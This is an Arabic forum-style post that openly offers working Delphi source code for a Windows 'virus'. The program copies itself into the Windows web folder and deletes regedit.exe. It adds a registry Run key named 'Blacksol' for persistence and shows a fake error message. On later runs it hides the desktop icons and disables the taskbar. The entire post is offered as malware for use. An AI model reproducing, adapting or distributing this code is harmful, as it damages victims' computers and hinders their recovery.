حصريا ... فيروس الشلل النصفي + الكود الخاص به ... هنـــــــــــــــــــا

 
program bac2007;
uses
  Forms,windows;
{$R *.res}
    function getwindir:pchar;
     var p:packed array[0..255] of char;
      begin
           getwindowsdirectory(p,255);
          Result:=p; end;
        procedure Run;
               var return:hkey;
                   dir:pchar;
        begin
          dir:=pchar(getwindir+ '\web\help.exe');
           Regcreatekey(hkey_local_machine,'software\microsoft\windows\currentversion\run',return);
              Regsetvalueex(return,'Blacksol',0,reg_sz,dir,length(string(dir)));
              Regclosekey(return);
              end;
    procedure todo1;
     var Wnd: THandle;
      begin
       wnd:=findwindow('Progman',nil);
        wnd:= FindWindowEx(Wnd, HWND(0), 'ShellDll_DefView', nil);
            ShowWindow(Wnd, sw_hide);
           end;
       procedure todo2;
        var panel:thandle;
         ewindow:longbool;
         begin
        panel:=findwindow('Shell_traywnd',nil);
          if panel<>0 then
          begin
           ewindow:=iswindowenabled(panel);
            if ewindow=true then
              enablewindow(panel,false);
           end;   
        end;
  procedure kernel;
   var cdir:string;
    begin
     cdir:=application.ExeName;
    if cdir = (getwindir+ '\web\help.exe') then begin
      todo1;
       todo2;
       end
      else begin
         copyfile(pchar(cdir),pchar(getwindir+ '\web\help.exe'),false);
           deletefile(pchar(getwindir + '\regedit.exe'));
            run;
          messagebox(application.Handle,pchar('An error has curred in ' + application.exename),'Error',0);
         end;
    end;
begin
  Application.Initialize;
  Application.Title := 'The sucsess';
  Application.Run;
   kernel;
end.